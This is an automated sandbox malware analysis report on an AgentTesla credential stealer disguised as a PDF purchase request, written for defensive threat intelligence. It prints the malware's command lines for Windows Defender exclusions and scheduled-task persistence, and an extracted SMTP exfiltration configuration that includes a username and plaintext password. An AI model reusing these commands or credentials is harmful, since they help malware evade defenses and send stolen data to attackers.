Edit tour

Windows Analysis Report
REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe

Overview

General Information

Sample name:	REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe
Analysis ID:	1569777
MD5:	2293ce96ec6bf9e7d7214091d74e4c35
SHA1:	316245e8d58e8a6c8fec19010eeabf43171f608b
SHA256:	e963a79ed303a65d9ff3b15753909309d4156d38cff9e403e39ab1a72e0113e5
Tags:	exeuser-lowmal3
Infos:

Detection

AgentTesla

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Scheduled temp file as task from temp location

Sigma detected: Suspicious Double Extension File Execution

Yara detected AgentTesla

Yara detected AntiVM3

.NET source code contains potential unpacker

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

Allocates memory in foreign processes

Contains functionality to log keystrokes (.Net Source)

Initial sample is a PE file and has a suspicious name

Injects a PE file into a foreign processes

Installs a global keyboard hook

Loading BitLocker PowerShell Module

Machine Learning detection for dropped file

Machine Learning detection for sample

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Mail credentials (via file / registry access)

Uses an obfuscated file name to hide its real file extension (double extension)

Uses schtasks.exe or at.exe to add and modify task schedules

Writes to foreign memory regions

Yara detected Generic Downloader

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a window with clipboard capturing capabilities

Creates processes with suspicious names

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Powershell Defender Exclusion

Sigma detected: Suspicious Add Scheduled Task Parent

Sigma detected: Suspicious Outbound SMTP Connections

Sigma detected: Suspicious Schtasks From Env Var Folder

Uses 32bit PE files

Uses SMTP (mail sending)

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe (PID: 7552 cmdline: "C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe" MD5: 2293CE96EC6BF9E7D7214091D74E4C35)

powershell.exe (PID: 7736 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 7744 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7800 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\vmPeKTe.exe" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 7820 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WmiPrvSE.exe (PID: 8184 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)

schtasks.exe (PID: 7892 cmdline: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\vmPeKTe" /XML "C:\Users\user\AppData\Local\Temp\tmpDF64.tmp" MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 7916 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RegSvcs.exe (PID: 8040 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe" MD5: 9D352BC46709F0CB5EC974633A0C3C94)

RegSvcs.exe (PID: 8048 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe" MD5: 9D352BC46709F0CB5EC974633A0C3C94)

vmPeKTe.exe (PID: 8140 cmdline: C:\Users\user\AppData\Roaming\vmPeKTe.exe MD5: 2293CE96EC6BF9E7D7214091D74E4C35)

schtasks.exe (PID: 5216 cmdline: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\vmPeKTe" /XML "C:\Users\user\AppData\Local\Temp\tmpF3B7.tmp" MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 6368 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RegSvcs.exe (PID: 1608 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe" MD5: 9D352BC46709F0CB5EC974633A0C3C94)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Agent Tesla, AgentTesla	A .NET based information stealer readily available to actors due to leaked builders. The malware is able to log keystrokes, can access the host's clipboard and crawls the disk for credentials or other valuable information. It has the capability to send information back to its C&C via HTTP(S), SMTP, FTP, or towards a Telegram channel.	SWEED	http://blog.nsfocus.net/sweed-611/ http://l1v1ngc0d3.wordpress.com/2021/11/12/agenttesla-dropped-via-nsis-installer/ http://ropgadget.com/posts/originlogger.html http://www.secureworks.com/research/threat-profiles/gold-galleon https://0xmrmagnezi.github.io/malware%20analysis/AgentTesla/	https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla

Malware Configuration

Threatname: Agenttesla

{"Exfil Mode": "SMTP", "Port": "587", "Host": "smtp.yandex.ru", "Username": "negozio@depadova.cf", "Password": "graceofgod@amen"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
0000000A.00000002.1483006470.0000000002D1C000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000A.00000002.1483006470.0000000002CF1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000A.00000002.1483006470.0000000002CF1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000F.00000002.3874134304.0000000002BDB000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000F.00000002.3874134304.0000000002BDB000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000A.00000002.1481076677.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000A.00000002.1481076677.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.1429937716.0000000004B82000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1429937716.0000000004B82000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe PID: 7552	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe PID: 7552	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe PID: 7552	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: RegSvcs.exe PID: 8048	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: RegSvcs.exe PID: 8048	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: vmPeKTe.exe PID: 8140	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: RegSvcs.exe PID: 1608	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: RegSvcs.exe PID: 1608	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Click to see the 12 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.4e90820.2.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.4e90820.2.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.4e90820.2.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x31869:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x318db:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x31965:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x319f7:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x31a61:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x31ad3:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x31b69:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x31bf9:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
10.2.RegSvcs.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
10.2.RegSvcs.exe.400000.0.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
10.2.RegSvcs.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x33669:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x336db:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x33765:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x337f7:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x33861:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x338d3:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x33969:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x339f9:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.4e90820.2.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.4e90820.2.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.4e90820.2.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x33669:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x6e289:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0xa8ca9:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x336db:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x6e2fb:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0xa8d1b:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x33765:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x6e385:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0xa8da5:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x337f7:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x6e417:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0xa8e37:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x33861:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x6e481:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0xa8ea1:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x338d3:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x6e4f3:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0xa8f13:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x33969:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x6e589:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0xa8fa9:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B
0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.4e11a00.1.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.4e11a00.1.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.4e11a00.1.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.4e11a00.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0xb2489:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0xed0a9:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x127ac9:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0xb24fb:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0xed11b:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x127b3b:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0xb2585:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0xed1a5:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x127bc5:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0xb2617:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0xed237:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x127c57:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0xb2681:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0xed2a1:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x127cc1:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0xb26f3:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0xed313:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x127d33:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0xb2789:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0xed3a9:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x127dc9:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B
0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.4d92be0.3.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.4d92be0.3.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.4d92be0.3.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.4d92be0.3.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x1312a9:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x16bec9:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x1a68e9:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x13131b:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x16bf3b:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x1a695b:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x1313a5:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x16bfc5:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x1a69e5:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x131437:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x16c057:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x1a6a77:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x1314a1:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x16c0c1:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x1a6ae1:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x131513:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x16c133:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x1a6b53:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x1315a9:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x16c1c9:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x1a6be9:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B
Click to see the 12 entries

Sigma Signatures

System Summary

Sigma detected: Suspicious Double Extension File Execution

Source: Process started

Author: Florian Roth (Nextron Systems), @blu3_team (idea), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe", CommandLine: "C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe", CommandLine|base64offset|contains: , Image: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe, NewProcessName: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe, OriginalFileName: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: "C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe", ProcessId: 7552, ProcessName: REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe", ParentImage: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe, ParentProcessId: 7552, ParentProcessName: REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe", ProcessId: 7736, ProcessName: powershell.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Suspicious Add Scheduled Task Parent

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\vmPeKTe" /XML "C:\Users\user\AppData\Local\Temp\tmpF3B7.tmp", CommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\vmPeKTe" /XML "C:\Users\user\AppData\Local\Temp\tmpF3B7.tmp", CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: C:\Users\user\AppData\Roaming\vmPeKTe.exe, ParentImage: C:\Users\user\AppData\Roaming\vmPeKTe.exe, ParentProcessId: 8140, ParentProcessName: vmPeKTe.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\vmPeKTe" /XML "C:\Users\user\AppData\Local\Temp\tmpF3B7.tmp", ProcessId: 5216, ProcessName: schtasks.exe

Sigma detected: Suspicious Outbound SMTP Connections

Source: Network Connection

Author: frack113: Data: DestinationIp: 77.88.21.158, DestinationIsIpv6: false, DestinationPort: 587, EventID: 3, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, Initiated: true, ProcessId: 8048, Protocol: tcp, SourceIp: 192.168.2.8, SourceIsIpv6: false, SourcePort: 49711

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\vmPeKTe" /XML "C:\Users\user\AppData\Local\Temp\tmpDF64.tmp", CommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\vmPeKTe" /XML "C:\Users\user\AppData\Local\Temp\tmpDF64.tmp", CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe", ParentImage: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe, ParentProcessId: 7552, ParentProcessName: REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\vmPeKTe" /XML "C:\Users\user\AppData\Local\Temp\tmpDF64.tmp", ProcessId: 7892, ProcessName: schtasks.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe", ParentImage: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe, ParentProcessId: 7552, ParentProcessName: REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe", ProcessId: 7736, ProcessName: powershell.exe

Persistence and Installation Behavior

Sigma detected: Scheduled temp file as task from temp location

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\vmPeKTe" /XML "C:\Users\user\AppData\Local\Temp\tmpDF64.tmp", CommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\vmPeKTe" /XML "C:\Users\user\AppData\Local\Temp\tmpDF64.tmp", CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe", ParentImage: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe, ParentProcessId: 7552, ParentProcessName: REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\vmPeKTe" /XML "C:\Users\user\AppData\Local\Temp\tmpDF64.tmp", ProcessId: 7892, ProcessName: schtasks.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.4e90820.2.raw.unpack

Malware Configuration Extractor: Agenttesla {"Exfil Mode": "SMTP", "Port": "587", "Host": "smtp.yandex.ru", "Username": "negozio@depadova.cf", "Password": "graceofgod@amen"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe

ReversingLabs: Detection: 57%

Multi AV Scanner detection for submitted file

Source: REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	ReversingLabs: Detection: 57%
Source: REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Virustotal: Detection: 65%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe

Joe Sandbox ML: detected

Source: REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.26.13.205:443 -> 192.168.2.8:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.13.205:443 -> 192.168.2.8:49713 version: TLS 1.2

Source: REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Networking

Yara detected Generic Downloader

Source: Yara match	File source: 0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.4e11a00.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.4d92be0.3.raw.unpack, type: UNPACKEDPE

Source: global traffic

TCP traffic: 192.168.2.8:49711 -> 77.88.21.158:587

Source: Joe Sandbox View	IP Address: 77.88.21.158 77.88.21.158
Source: Joe Sandbox View	IP Address: 104.26.13.205 104.26.13.205
Source: Joe Sandbox View	IP Address: 104.26.13.205 104.26.13.205

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: api.ipify.org

Source: global traffic

TCP traffic: 192.168.2.8:49711 -> 77.88.21.158:587

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive
